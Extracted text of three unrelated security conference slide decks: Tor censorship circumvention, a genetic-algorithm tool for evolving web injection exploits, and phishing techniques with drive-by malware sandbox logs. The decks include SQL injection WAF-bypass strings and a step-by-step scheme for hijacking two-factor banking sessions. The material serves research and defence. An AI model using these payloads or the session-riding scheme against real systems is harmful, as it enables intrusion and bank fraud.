(January 2011) ● Iran blocked Tor by DPI for SSL and filtering our Diffie-Hellman parameter. ● Socks proxy worked fine the whole time (the DPI didn't pick it up) ● DH p is a server-side parameter, so the relays and bridges had to upgrade, but not the clients 34 35 Iran (September 2011) ● This time, DPI for SSL and look at our TLS certificate lifetime. ● (Tor rotated its TLS certificates every 2 hours, because key rotation is good, right?) ● Now our certificates last for a year ● These are all low-hanging fruit. Kind of a weird arms race. 36 37 38 39 Tunisia (October 2011) ● First country to announce officially that they censor ● Using Smartfilter ● Outsourced to a foreign corporation ● And Tunisia got a discount! 40 Pluggable transports 41 The two currently successful PTs ● obfsproxy (2012): add a layer of encryption on top so there are no recognizable headers. ● meek (2014): “domain fronting” via Google, Azure, Amazon 42 Tor censorship epochs ● Background / Phase 1 (2006-2011): Bridges, pluggable transports ● Phase 2 (2011-2019): Active probing, obfsproxy, domain fronting, many more countries ● Phase 3 (2019-?): Snowflake, obfs4, decoy routing, ... 43 China (October 2011) ● Started its active probing campaign by DPIing on Tor’s TLS handshake, and later on obfs2 and obfs3 ● Spoofed IP addresses from inside China ● The fix: obfs4 requires the client to prove knowledge of a secret, else it won’t admit to being an obfs4 bridge. 44 45 China (March 2015) ● “Great Cannon” targets github ● Greatfire declaring war, “you can’t block us” ● Huge difference from previous “let them save face” approach 47 48 China (pre 2018) ● China also shifted to blackholing the entire IP address (not just the offending port). ● Any old probers are enough to get bridges blocked (0.2.9, ORPort, etc) 49 China (mid 2018) ● Lantern uses obfs4 proxies for its own circumvention tool ● They tell us that China is throttling, not blocking, the obfs4 bridges that they identify as Lantern 50 China (mid 2019) ● 0.3.2 Tor clients, talking to 0.3.5 Tor bridges, don’t trigger active probing anymore. ● We guess it has to do with changes in advertised ciphersuites on the client side. 51 52 53 54 55 Tor censorship epochs ● Background / Phase 1 (2006-2011): Bridges, pluggable transports ● Phase 2 (2011-2019): Active probing, obfsproxy, domain fronting, many more countries ● Phase 3 (2019-?): Snowflake, obfs4, decoy routing, ... 56 New pluggable transport: Snow✓ake 57 58 59 Streamlined obfs4 deployment ● apt install obfs4proxy ● In the future: apt install tor-bridge? ● For many more details see: https://trac.torproject.org/projects/tor/ wiki/doc/PluggableTransports/ obfs4proxy 60 BridgeDB needs a feedback cycle ● Measure how much use each bridge sees ● Measure bridge blocking ● Then adapt bridge distribution to favor efficient distribution channels ● Need to invent new distribution channels, eg Salmon from PETS 2015 61 Measuring bridge reachability ● Passive: bridges track incoming connections by country; clients self-report blockage (via some other bridge) ● Active: scan bridges from within the country; or measure remotely via indirect scanning ● Bridges test for duplex blocking 62 ooni.torproject.org 63 explorer.ooni.torproject.org ● I 64 Other upcoming designs ● FTE/Marionette: transform traffic payloads according to a regexp or a state machine ● Decoy routing: run a tap at an ISP, look for steganographic tags, inject responses from the middle 65 Arms races ● Censorship arms race is bad ● Surveillance arms race is worse – And centralization of the Internet makes it worse still 66 How can you help? ● Run an obfs4 bridge, and a Snowflake ● Teach your friends about Tor, and privacy in general ● Help find -- and fix – bugs ● Work on open research problems (petsymposium.org) ● donate.torproject.org 67 68 69
pdf
Evolving Exploits through Genetic Algorithms By soen Who am I v  CTF Player v  Programmer v  Virus / Worm Aficionado v  Computer Scientist v  Penetration Tester in daylight Domain Constraints v  What we will cover v  SQL injection (MySQL, SQL, MSSQL, Oracle) v  Command injection (Bash, CMD, PHP, Python) v  Attack surface is HTTP / HTTPS POST and GET parameters v  What we will not cover v  Everything else Exploiting Web Applications v  Attack problems v  Driven by customer v  Small scope v  Limited time v  Report driven v  Attack methodology Exploiting Web Applications v  Attack problems v  Attack methodology v  Run as many scanning tools as possible v  Manually poke at suspicious areas until a vulnerability is found v  Write an exploit Exploiting Web Applications v  Attack problems v  Attack methodology v  Problems with this v  Manual code coverage is inherently small v  Manual inspection of suspicious areas is time-costly v  Manual exploit development takes time Existing tools for exploit discovery / development v  Nessus / nmap / blind elephant / other scanning tools don’t really count unless there is a signature developed for a specific vulnerability / finding. v  Acunetix v  Burp v  ZAP v  sqlmap Foundational problems with current scanning techniques v  Systemic signature problem v  Anti-Virus == Web Scanners v  Solution: Evolve unique exploits for web applications v  Web Application Firewall blocks ‘or 1=1 -- ? v  Evolve from v  ‘or 1=1 -- v  To: v  Aso1239^;’or 2=1 or 1=3 or 1=1 --asdl1ojcud//\ Evolutionary Algorithms In English: 1.  Create a large number of creatures 2.  While solution/goal != found: 1.  Score all of the creatures’ performance using a fitness function 2.  Kill the weak performing 3.  Breed the strong performing 4.  Mutate creatures randomly 3.  Display the creature that solved the solution Exploit Evolution 1.  Create a large number of strings 2.  While exploit != successful: 1.  Send the string as parameter value (I.E. POST, GET, etc.) 2.  Use the response from the server to determine the score 1.  +Error Pages (more if the string was reflected) 2.  +Blank / delayed responses 3.  +For objectives displayed (passwords displayed, sensitive DB information, etc.) 3.  Delete the weak performing strings 4.  Breed the strong performing strings 5.  Mutate the strong performing strings 3.  Display the string that successfully exploits the app Fitness Function v  This is the performance /score of how well a creature performs v  Creatures that score well will live to breed v  Creatures that score poorly will be culled v  Fitness in this context is the following: v  Does the creature cause sensitive information to be displayed? v  Does the creature cause an error (and if so, what type?) v  Is the creature reflected? (XSS…) v  Is other information displayed? Breeding Strings v  Pairs of strings are bred using genome cross-over String A String B Child A Child B Mutated Child A Mutated Child B v  The amount of children and parents varies on implementation. v  The amount of children depends on implementation v  Parents are kept alive depending on implementation Next Iteration Mutating Strings v  Pseudo code: v  Mutation rate is greater than 0 and less than 1.0 v  Select an amount of string items to mutate given the length of the string (0 -> len(string)) * mutation rate v  For each mutation, replace/add/remove a random string item with a random character v  Example: v  Pre-mutation String: ABCD v  Post-mutated String: XACF v  (Prepended X, B deleted, and D mutated to F) Population Dynamics v  It is critical to choose a mutation rate that will allow for sufficient diversity in the pool of creatures, but at the same time allow a solution to be efficiently reached. v  Cull rate / string death rate must be high enough to maintain the population, but low enough to not drastically reduce it. (E.G. For 300% growth rate of breeding the top 33%, cull 67% of the population) Tool Comparison v  Command Injection v  Statistics CMD  injec*on Vulnerability Found? Exploit Developed Auto  WAF bypass Time  for  AAack (seconds) Requests Acune*x Yes No No 20 1854 Burp Yes No Yes 926 38297 ZAP Yes No No 118 264 SQLMAP N/A N/A N/A N/A Forced Evolu*on Yes Yes Yes 246 15489 Tool Comparison v  Command Injection v  Requests sent to server: 0 5000 10000 15000 20000 25000 30000 35000 40000 45000 Acunetix Burp ZAP SQLMAP Forced Evolution Tool Comparison v  Command Injection v  Time to exploit (seconds) 0 100 200 300 400 500 600 700 800 900 1000 Acunetix Burp ZAP SQLMAP Forced Evolution Tool Comparison v  SQL Injection v  Statistics SQLi Vulnerability Found? Exploit Developed Auto  WAF bypass Time  for  AAack   Requests Acune*x Yes Yes No 53 2685 Burp Yes Yes Yes 1101 46516 ZAP Yes No No 157 315 SQLMAP Yes Yes Yes 15 166 Forced Evolu*on Yes Yes Yes 17 5996 Tool Comparison v  SQL Injection v  Requests sent to server 0 5000 10000 15000 20000 25000 30000 35000 40000 45000 50000 Acunetix Burp ZAP SQLMAP Forced Evolution Tool Comparison v  SQL Injection v  Time to exploit (seconds) 0 200 400 600 800 1000 1200 Acunetix Burp ZAP SQLMAP Forced Evolution Pro’s and Con’s v  Con’s for Exploit Evolution v  Very noisy attacks v  Potential to inadvertently destroy the database / OS v  Slow process to develop and test exploits v  Sub-optimal to source code analysis Pro’s and Con’s v  Pro’s for Exploit Evolution v  Cheap in CPU and human time v  More complete code coverage than other black-box approaches v  Exploit breeding is the future, upgrades to the current approach will improve efficiency but the code right now will break web apps in the future. v  Automatic exploit development – Exploits genetically bred to tailor to a specific web app v  Emergent exploit discovery – New exploit methodologies and techniques will emerge from a system like this. Demo Contact v  Download Forced Evolution v  github.com/soen-vanned/forced-evolution v  soen.vanned@gmail.com v  @soen_vanned v  http://0xSOEN.blogspot.com v  1KVh6pWfi4tiBPxy9jQCxtcMYnpraWkzmv References v  Fred Cohen (Computer Viruses – Theory and Experiments - 1984) v  Dr. Mark Ludwig (The little & giant black book of computer viruses, Computer Viruses, Artificial Life and Evolution) v  Herm1t’s VX Heaven(http://vxheaven.org/ ) v  Artificial Intelligence: A Modern Approach (3rd Edition, Stuart Russell & Peter Norvig)
pdf
Let’s Sink The Phishermen’s Boat! =DEFCON 16 @ Las Vegas, Nevada= Teo Sze Siong, <teo.sze.siong@f-secure.com> F-Secure Corporation Why this topic? • Internet banking has become more and more preferred choice • Yet, many people don't understand the risk they are facing in online banking Do you think the following practices Sunday, 10 August, 2008 Page 2 • Keep antivirus software updated • Use online banking on SSL-enabled websites only • Use online banking on trusted machine only • Use 2-factor authentication security feature • Use latest web browser with fully patched plug-ins Source: http://www.news.com.au/business/story/0,23636,22561818-5013952,00.html Do you think the following practices protect you from phishing attack? Answer is NO! How serious now? • Billion dollar losses caused by phishing attacks • Banks can't simply reverse transactions - legal issues Sunday, 10 August, 2008 Page 3 Source: http://www.gartner.com/it/page.jsp?id=565125&format=print How serious now? • Currently, there is no complete automated solution to detect phishing accurately • It is all over the world targeting different nationalities and different banks! • Phishing techniques used are getting more sophisticated than before Sunday, 10 August, 2008 Page 4 Source: http://www.antiphishing.org/reports/apwg_report_jan_2008.pdf Commonly used techniques in phishing • DNS modification / cache poisoning a.k.a. pharming • HTML / Javascript content with visual similarity (even Flash-based) • Spoofed source email address • ARP poisoning to redirect traffic • API hooking (user mode / kernel mode) Sunday, 10 August, 2008 Page 5 • API hooking (user mode / kernel mode) • Browser plug-in (BHO mainly targeting Internet Explorer) • Similar URLs / obfuscated encodings • Hosting websites on fast flux network (usually botnet machines) • Uses drive-by downloads to infect Trojan via software vulnerability Flash-based phishing website Sunday, 10 August, 2008 Page 6 Source: http://www.f-secure.com/weblog/archives/00001066.html Example 1: Website with drive-by download Sunday, 10 August, 2008 Page 7 Analysis report of drive-by download website 2008/05/17 18:44:31 - [UTCD-INFO] Target: http://www.mongoliatourism.gov.mn/ 2008/05/17 18:44:31 - [UTCD-INFO] Priority Level: 5 2008/05/17 18:44:31 - [UTCD-INFO] UMS's URL ID: 3643208 2008/05/17 18:44:31 - [UTCD-INFO] HTTP Request Metadata: null 2008/05/17 18:44:31 - [UTCD-INFO] Remaining Failure Retry: 3 2008/05/17 18:44:31 - [UTCD-INFO] URL Type: Web browser interpretable URL 2008/05/17 18:44:32 - [UTCD-INFO] Content-Type: text/html 2008/05/17 18:44:32 - [UTCD-INFO] Server Date: Sat, 17 May 2008 09:36:16 GMT 2008/05/17 18:44:32 - [UTCD-INFO] Server Type: Apache/2.2.8 (Unix) 2008/05/17 18:44:32 - [GOAT-INFO] WXPSP2-1: Windows XP Pro SP2 + Firefox 1.0 and IE6 2008/05/17 18:44:32 - [GOAT-INFO] IE6/IE7 = Enabled, Firefox1/2 = Enabled 2008/05/17 18:44:32 - [GOAT-INFO] Network IO Check Interval = 5secs 2008/05/17 18:44:32 - [GOAT-INFO] Network IO Activity Tolerance = 512bytes ===== DEBUG INFORMATION - GOAT MACHINE CHANGES ===== {'createdir': [], 'createfile': [ {'file': '%windir%\\system32\\drivers\\qdm33.sys'}, {'file': '%windir%\\system32\\winctrl32.dll'}, {'file': 'c:\\6lwxsu.exe'}], 'createkey': [ {'key': '%hkcu%\\s-1-5-21-1343024091-1417001333-839522115-1003\\parameters'}, {'key': '%hkcu%\\s-1-5-21-1343024091-1417001333-839522115-1003\\rfc1156agent'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\drivers32\\controlset002'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\drivers32\\qdm33'}, {'key': '%hklm%\\system\\currentcontrolset\\services\\qdm33'}, Sunday, 10 August, 2008 Page 8 2008/05/17 18:44:32 - [GOAT-INFO] Network IO Activity Tolerance = 512bytes 2008/05/17 18:44:32 - [UTCD-INFO] Sending URL to UAE for automated analysis... 2008/05/17 18:44:32 - [UTCD-INFO] Analyzing website in VMware goat environment... 2008/05/17 18:46:29 - [UTCD-INFO] Time elapsed 1 minutes and 57 seconds 2008/05/17 18:46:31 - [UTCD-INFO] Goat Process ID: 1636 2008/05/17 18:46:31 - [UTCD-INFO] IE6/7 Process ID: 1668 2008/05/17 18:46:31 - [UTCD-INFO] FireFox 1/2 Process ID: 1676 2008/05/17 18:46:31 - [UTCD-INFO] Pop-up Window(s) Found: 0 2008/05/17 18:46:31 - [UTCD-INFO] Analyzing tracer log... (2,363,042 bytes) 2008/05/17 18:46:31 - [UTCD-INFO] Time elapsed 0.102503061295 second 2008/05/17 18:46:31 - [UTCD-INFO] Exploited web browser: Internet Explorer 2008/05/17 18:46:31 - [UTCD-INFO] Suspicious folder creation count: 0 2008/05/17 18:46:31 - [UTCD-INFO] Suspicious file creation count: 3 2008/05/17 18:46:31 - [UTCD-INFO] Suspicious registry key creation count: 6 2008/05/17 18:46:31 - [UTCD-INFO] Suspicious process creation count: 4 2008/05/17 18:46:31 - [UTCD-INFO] Threat percentage: 100% 2008/05/17 18:46:31 - [UTCD-INFO] Conclusion: Malicious {'key': '%hklm%\\system\\currentcontrolset\\services\\qdm33'}, {'key': '%hklm%\\system\\currentcontrolset\\services\\security'}], 'newproc': [ {'1344,532': '%windir%\\system32\\cmd.exe'}, {'1392,1264': '%windir%\\system32\\svchost.exe'}, {'1392,1344': '%temp\\bn7.tmp'}, {'1668,1392': 'c:\\6lwxsu.exe'}]} ===== DEBUG INFORMATION - GOAT MACHINE CHANGES ====== Example 2: Website with drive-by download Sunday, 10 August, 2008 Page 9 2008/06/26 05:30:37 - [UTCD-INFO] Target: http://scit.hit.edu.cn/design/ShowArticle.asp?ArticleID=976 2008/06/26 05:30:37 - [UTCD-INFO] Priority Level: 5 2008/06/26 05:30:37 - [UTCD-INFO] UMS's URL ID: 5088202 2008/06/26 05:30:37 - [UTCD-INFO] HTTP Request Metadata: null 2008/06/26 05:30:37 - [UTCD-INFO] Remaining Failure Retry: 3 2008/06/26 05:30:37 - [UTCD-INFO] URL Type: Web browser interpretable URL 2008/06/26 05:30:38 - [UTCD-INFO] Content Length: 23,163 bytes 2008/06/26 05:30:38 - [UTCD-INFO] Content-Type: text/html 2008/06/26 05:30:38 - [UTCD-INFO] Server Date: Wed, 25 Jun 2008 21:33:09 GMT 2008/06/26 05:30:38 - [UTCD-INFO] Server Type: Microsoft-IIS/5.0 2008/06/26 05:30:38 - [GOAT-INFO] WXPSP2-2: Windows XP Pro SP2 + Firefox 2.0 and IE 7.0 2008/06/26 05:30:38 - [GOAT-INFO] IE6.0/IE7.0 = Enabled, Firefox1.0/2.0 = Enabled 2008/06/26 05:30:38 - [GOAT-INFO] Network IO Check Interval = 5secs Analysis report of drive-by download website Sunday, 10 August, 2008 Page 10 2008/06/26 05:30:38 - [GOAT-INFO] Network IO Check Interval = 5secs 2008/06/26 05:30:38 - [GOAT-INFO] Network IO Activity Tolerance = 512bytes 2008/06/26 05:30:38 - [UTCD-INFO] Sending URL to UAE for automated analysis... 2008/06/26 05:30:38 - [UTCD-INFO] Analyzing website in VMware goat environment... 2008/06/26 05:32:15 - [UTCD-INFO] Time elapsed 1 minutes and 37 seconds 2008/06/26 05:32:15 - [UTCD-INFO] Goat Process ID: 1728 2008/06/26 05:32:15 - [UTCD-INFO] IE 6.0/7.0 Process ID: 8368 2008/06/26 05:32:15 - [UTCD-INFO] FireFox 1.0/2.0 Process ID: 8392 2008/06/26 05:32:15 - [UTCD-INFO] Pop-up Window(s) Found: 0 2008/06/26 05:32:16 - [UTCD-INFO] Analyzing tracer log... (20,669,663 bytes) 2008/06/26 05:32:16 - [UTCD-INFO] Time elapsed 0.760082960129 second 2008/06/26 05:32:16 - [UTCD-INFO] Exploited web browser: IE and Firefox 2008/06/26 05:32:16 - [UTCD-INFO] Suspicious folder creation count: 0 2008/06/26 05:32:16 - [UTCD-INFO] Suspicious file creation count: 7 2008/06/26 05:32:16 - [UTCD-INFO] Suspicious registry key creation count: 35 2008/06/26 05:32:16 - [UTCD-INFO] Suspicious process creation count: 4 2008/06/26 05:32:16 - [UTCD-INFO] Threat percentage: 100% 2008/06/26 05:32:16 - [UTCD-INFO] Conclusion: Malicious …continued ====================== DEBUG INFORMATION - GOAT MACHINE CHANGES ====================== {'createdir': [], 'createfile': [ {'file': '%internetcache%\\5ps8r2b2\\ko[1].exe'}, {'file': '%internetcache%\\6q9hncm8\\ko[1].exe'}, {'file': '%temp%\\orz.exe'}, {'file': '%windir%\\kdsv.exe'}, {'file': '%windir%\\system32\\drivers\\ntdapi.sys'}, {'file': '%windir%\\ugvq.exe'}, {'file': 'c:\\mahtesf3.bat'}], 'createkey': [ {'key': '%hkcu%\\ntdapi'}, {'key': '%hkcu%\\s-1-5-21-1343024091-1417001333-839522115-1003\\avs'}, {'key': '%hkcu%\\s-1-5-21-1343024091-1417001333-839522115-1003\\software\\microsoft\\windows nt\\currentversion\\image file execution options\\qqdoctor.exe'}, {'key': '%hkcu%\\s-1-5-21-1343024091-1417001333-839522115-1003\\software\\microsoft\\windows nt\\currentversion\\image file execution options\\qqdoctormain.exe'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\clsid\\{a9895933-6636-4281-bc58-ee6de2af96e3}\\inprocserver32'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\clsid\\{dc3d30ae-0380-4151-8934-ee98a34b0370}\\inprocserver32'}, Sunday, 10 August, 2008 Page 11 {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\clsid\\{dc3d30ae-0380-4151-8934-ee98a34b0370}\\inprocserver32'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\explorer'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\inprocserver32'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\inprocserver32'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\inprocserver32'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\inprocserver32'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\software\\microsoft\\windows\\currentversion\\explorer\\browser helper objects\\{55694105-5108-9405-3695-954187462155}'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\software\\microsoft\\windows\\currentversion\\explorer\\browser helper objects\\{5a069845-2036-6084-9054-6087502480a5}'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\software\\microsoft\\windows\\currentversion\\explorer\\browser helper objects\\{7c8d1401-a58d-a81c-cd24-a5915c4517c7}'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\software\\microsoft\\windows\\currentversion\\explorer\\browser helper objects\\{b490415f-65f8-b5c5-d8ba-9405fb12054b}'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\windows'}, {'key': '%hklm%\\system\\currentcontrolset\\control\\nls\\locale\\alternate sorts\\{7a041f13-a111-12a3-b0cf-f99818aa68a7}'}, {'key': '%hklm%\\system\\currentcontrolset\\control\\nls\\locale\\alternate sorts\\{7c8d1401-a58d-a81c-cd24-a5915c4517c7}'}, {'key': '%hklm%\\system\\currentcontrolset\\control\\nls\\locale\\alternate sorts\\{a629ff4f-acdb-5c90-a098-facb3456a26a}'}, {'key': '%hklm%\\system\\currentcontrolset\\control\\nls\\locale\\alternate sorts\\{b490415f-65f8-b5c5-d8ba-9405fb12054b}'}], 'newproc': [ {'8196,8484': '%windir%\\kdsv.exe'}, {'8368,8964': '%temp\\orz.exe'}, {'8392,8196': '%temp\\orz.exe'}, {'8964,8268': '%windir%\\ugvq.exe'}]} ====================== DEBUG INFORMATION - GOAT MACHINE CHANGES ====================== …continued Infected Virtual Machine analysis log file Sunday, 10 August, 2008 Page 12 Example 3: Website with drive-by download Sunday, 10 August, 2008 Page 13 ===== DEBUG INFORMATION - GOAT MACHINE CHANGES ===== {'createdir': [], 'createfile': [ {'file': '%temp%\\frame2_276.exe'}, {'file': '%temp%\\liar3.exe'}, {'file': '%windir%\\system32\\drivers\\qandr.sys'}, {'file': 'c:\\documents and settings\\user\\win.exe'}], 'createkey': [ {'key': '%hklm%\\system\\currentcontrolset\\services\\security'}], 'newproc': [ {'1276,1464': '%windir%\\system32\\net1.exe'}, {'536,1276': '%windir%\\system32\\net.exe'}, {'536,360': '%temp\\frame2_276.exe'}, {'536,492': '%temp\\liar3.exe'}, {'840,536': 'c:\\documents and settings\\user\\win.exe'}]} ===== DEBUG INFORMATION - GOAT MACHINE CHANGES ===== 2008/05/21 16:52:19 - [UTCD-INFO] Target: http://www.interclass.dir.bg/ 2008/05/21 16:52:19 - [UTCD-INFO] Priority Level: 5 2008/05/21 16:52:19 - [UTCD-INFO] UMS's URL ID: 365 2008/05/21 16:52:19 - [UTCD-INFO] Remaining Failure Retry: 3 2008/05/21 16:52:20 - [UTCD-INFO] URL Type: Web browser interpretable URL 2008/05/21 16:52:20 - [UTCD-INFO] Content Length: 1,540 bytes 2008/05/21 16:52:20 - [UTCD-INFO] Content-Type: text/html 2008/05/21 16:52:20 - [UTCD-INFO] Server Date: Wed, 21 May 2008 08:52:19 GMT 2008/05/21 16:52:20 - [UTCD-INFO] Server Type: Zeus/4.3 2008/05/21 16:52:20 - [UTCD-INFO] Last Modified: Tue, 20 May 2008 09:17:55 GMT 2008/05/21 16:52:20 - [GOAT-INFO] WXPSP2-1: Windows XP Pro SP2 + Firefox 1.0 and IE 6.0 2008/05/21 16:52:20 - [GOAT-INFO] IE6.0/IE7.0 = Enabled, Firefox1.0/2.0 = Enabled 2008/05/21 16:52:20 - [GOAT-INFO] Network IO Check Interval = 5secs Analysis report of drive-by download website Sunday, 10 August, 2008 Page 14 2008/05/21 16:52:20 - [GOAT-INFO] Network IO Check Interval = 5secs 2008/05/21 16:52:20 - [GOAT-INFO] Network IO Activity Tolerance = 512bytes 2008/05/21 16:52:20 - [UTCD-INFO] Sending URL to UAE for automated analysis... 2008/05/21 16:52:20 - [UTCD-INFO] Analyzing website in VMware goat environment... 2008/05/21 16:52:50 - [UTCD-INFO] Time elapsed 0 minutes and 30 seconds 2008/05/21 16:52:50 - [UTCD-INFO] Goat Process ID: 1648 2008/05/21 16:52:50 - [UTCD-INFO] IE 6.0/7.0 Process ID: 840 2008/05/21 16:52:50 - [UTCD-INFO] FireFox 1.0/2.0 Process ID: 1768 2008/05/21 16:52:50 - [UTCD-INFO] Pop-up Window(s) Found: 0 2008/05/21 16:52:50 - [UTCD-INFO] Analyzing tracer log... (766,680 bytes) 2008/05/21 16:52:50 - [UTCD-INFO] Time elapsed 0.0320420265198 second 2008/05/21 16:52:50 - [UTCD-INFO] Exploited web browser: Internet Explorer 2008/05/21 16:52:50 - [UTCD-INFO] Suspicious folder creation count: 0 2008/05/21 16:52:50 - [UTCD-INFO] Suspicious file creation count: 4 2008/05/21 16:52:50 - [UTCD-INFO] Suspicious registry key creation count: 1 2008/05/21 16:52:50 - [UTCD-INFO] Suspicious process creation count: 5 2008/05/21 16:52:50 - [UTCD-INFO] Threat percentage: 100% 2008/05/21 16:52:50 - [UTCD-INFO] Conclusion: Malicious What is the malware most likely trying to do? [CLUE] <C:\> net start… Example 4: Website with drive-by download Sunday, 10 August, 2008 Page 15 Analysis report drive-by download website ===== DEBUG INFORMATION - GOAT MACHINE CHANGES ===== {'createdir': [ {'dir': '%windir%\\fonts\\system'}], 'createfile': [ {'file': '%temp%\\_bnyunxing0.znb'}, {'file': '%temp%\\orz.exe'}, {'file': '%windir%\\system32\\atielf.dat'}, {'file': '%windir%\\system32\\gsdhadwd.sys'}, {'file': '%windir%\\system32\\mndhddwd.dll'}, {'file': '%windir%\\system32\\tpnc.bat'}], 'createkey': [ {'key': '%hklm%\\system\\currentcontrolset\\services\\atixeve2781'}, {'key': '%hklm%\\system\\currentcontrolset\\services\\security'}], 'newproc': [ {‘776,1375': '%temp\\orz.exe'}, {'1024,1744': '%temp\\orz.exe'}, {'1744,576': '%windir%\\system32\\svchost.exe'}]} ===== DEBUG INFORMATION - GOAT MACHINE CHANGES ===== 2008/06/09 11:58:41 - [UTCD-INFO] Target: http://www.mx5e.com 2008/06/09 11:58:41 - [UTCD-INFO] Priority Level: 4 2008/06/09 11:58:41 - [UTCD-INFO] UMS's URL ID: 4096881 2008/06/09 11:58:41 - [UTCD-INFO] HTTP Request Metadata: null 2008/06/09 11:58:41 - [UTCD-INFO] Remaining Failure Retry: 3 2008/06/09 11:58:42 - [UTCD-INFO] URL Type: Web browser interpretable URL 2008/06/09 11:58:43 - [UTCD-INFO] Content Length: 157,608 bytes 2008/06/09 11:58:43 - [UTCD-INFO] Content-Type: text/html; charset=utf-8 2008/06/09 11:58:43 - [UTCD-INFO] Server Date: Mon, 09 Jun 2008 03:58:20 GMT 2008/06/09 11:58:43 - [UTCD-INFO] Server Type: Microsoft-IIS/6.0 2008/06/09 11:58:43 - [UTCD-INFO] X-Powered By: ASP.NET 2008/06/09 11:58:43 - [GOAT-INFO] WXPSP2-3: Windows XP Pro SP2 + Firefox 2.0.0.14 and IE 7.0 2008/06/09 11:58:43 - [GOAT-INFO] IE6.0/IE7.0 = Enabled, Firefox1.0/2.0 = Enabled 2008/06/09 11:58:43 - [GOAT-INFO] Network IO Check Interval = 5secs Sunday, 10 August, 2008 Page 16 ===== DEBUG INFORMATION - GOAT MACHINE CHANGES ===== 2008/06/09 11:58:43 - [GOAT-INFO] Network IO Check Interval = 5secs 2008/06/09 11:58:43 - [GOAT-INFO] Network IO Activity Tolerance = 512bytes 2008/06/09 11:58:43 - [UTCD-INFO] Sending URL to UAE for automated analysis... 2008/06/09 11:58:43 - [UTCD-INFO] Analyzing website in VMware goat environment... 2008/06/09 12:00:05 - [UTCD-INFO] Time elapsed 1 minutes and 22 seconds 2008/06/09 12:00:06 - [UTCD-INFO] Goat Process ID: 1688 2008/06/09 12:00:06 - [UTCD-INFO] IE 6.0/7.0 Process ID: 776 2008/06/09 12:00:06 - [UTCD-INFO] FireFox 1.0/2.0 Process ID: 1024 2008/06/09 12:00:06 - [UTCD-INFO] Pop-up Window(s) Found: 0 2008/06/09 12:00:07 - [UTCD-INFO] Analyzing tracer log... (1,354,649 bytes) 2008/06/09 12:00:07 - [UTCD-INFO] Time elapsed 0.110128164291 second 2008/06/09 12:00:07 - [UTCD-INFO] Exploited web browser: IE and Firefox 2008/06/09 12:00:07 - [UTCD-INFO] Suspicious folder creation count: 1 2008/06/09 12:00:07 - [UTCD-INFO] Suspicious file creation count: 6 2008/06/09 12:00:07 - [UTCD-INFO] Suspicious registry key creation count: 2 2008/06/09 12:00:07 - [UTCD-INFO] Suspicious process creation count: 2 2008/06/09 12:00:07 - [UTCD-INFO] Threat percentage: 100% 2008/06/09 12:00:07 - [UTCD-INFO] Conclusion: Malicious Analysis was done in a VMware image with fully patched Windows XP Professional SP2 and latest version of web browsers This website does not contain any zero-day exploit. So, how did our honey client get exploited? …continued Sunday, 10 August, 2008 Page 17 Two-factor authentication in a nutshell Sunday, 10 August, 2008 Page 18 Source: Images: http://en.wikipedia.org/wiki/Security_token Article: http://www.finextra.com/fullstory.asp?id=15169 How does two-factor authentication works? Sunday, 10 August, 2008 Page 19 Source: http://www.mocomsystems.com/Information/RSA.htm Two-factor authentication ripped by phishers Sunday, 10 August, 2008 Page 20 Bypassing the 2-factor authentication 1/3 1. Victim logins to the fake banking website using their username, password and one-time-use security token generated from security device provided by bank 2. The attacker uses the login information entered by victim at the fake banking website to login to the real banking website 3. To maintain access of the authenticated session, the attacker writes an automation script to let make his server reload the real website or randomly click on main links at the website Sunday, 10 August, 2008 Page 21 Note: The technique used in step 3 employs ‘local session riding’ at the attacker’s server to forge request on behalf of the victim to the real banking site Bypassing the 2-factor authentication 2/3 1. The attacker retrieves information from the real banking website and stores them to the simulated fake banking website database Sunday, 10 August, 2008 Page 22 • Account number • Account Owner Full Name • Account Balance • Last Login Date and Time • Transaction history • Other Details Note: The automation script written by the attacker will keep running at the simulated fake banking website to maintain the authenticated session with the real banking website • In online banking systems protected with 2-factor authentication, a security token is required from the user for each transaction to be performed • Whenever the victim enters a security token to perform transaction, the attacker uses the security token entered at the fake website to perform fund transfer from the victim’s banking account to their money mule’s account Bypassing the 2-factor authentication 3/3 Sunday, 10 August, 2008 Page 23 Note: The automation script written by the attacker will keep running at the simulated fake banking website to maintain the authenticated session with the real banking website Transferring all money out from a banking account preset with daily transaction limit • Since the attacker’s automation script is running, the authenticated session can be maintained from a few hours up to a few days depending the design of the web application and frequency of server maintenance or reboot • If the victim’s banking account is preset with daily transaction limit, then the attacker might perform several transactions repeatly in different days to steal all the money Account Balance : $100, 000 Daily Transfer Limit : $ 20, 000 Sunday, 10 August, 2008 Page 24 Daily Transfer Limit : $ 20, 000 Day 1 : - $20, 000 (Victim pays electricity bill) - 1 security token Day 1 : $0 (Victim logins to the account) - 1 security token Day 2 : - $20, 000 (Victim logins to the account) - 1 security token Day 2 : - $20, 000 (Victim performs fund transfer for business) - 1 security token Day 2 : - $20, 000 (Victim pays mobile phone bill) - 1 security token Day 3 : - $20, 000 (Victim login just to check balance) - 1 security token Account Balance : $ 0 Daily Transfer Limit : $ 20, 000 The ‘Local Session Riding’ (LSR) attack Why such attack is possible? • More than 90% of the web applications (including online banking sites) were designed in a way that will reset their cookie/session timeout counter whenever there is user activity • When attackers employ MITM together this method to online banking Sunday, 10 August, 2008 Page 25 sites, they are able to maintain the session for a very long time (hours, days, weeks or even months!) • Logic flaw or convenience feature? You decide ☺ How to reduce the chances of LSR attack? • Financial related web applications must be designed in a way that users are only allowed to perform transaction in a fixed amount of time in each login. NEVER RESET THE SESSION TIMEOUT VALUE! Existing phishing identification techniques • Domain name age checking • Registrar information from 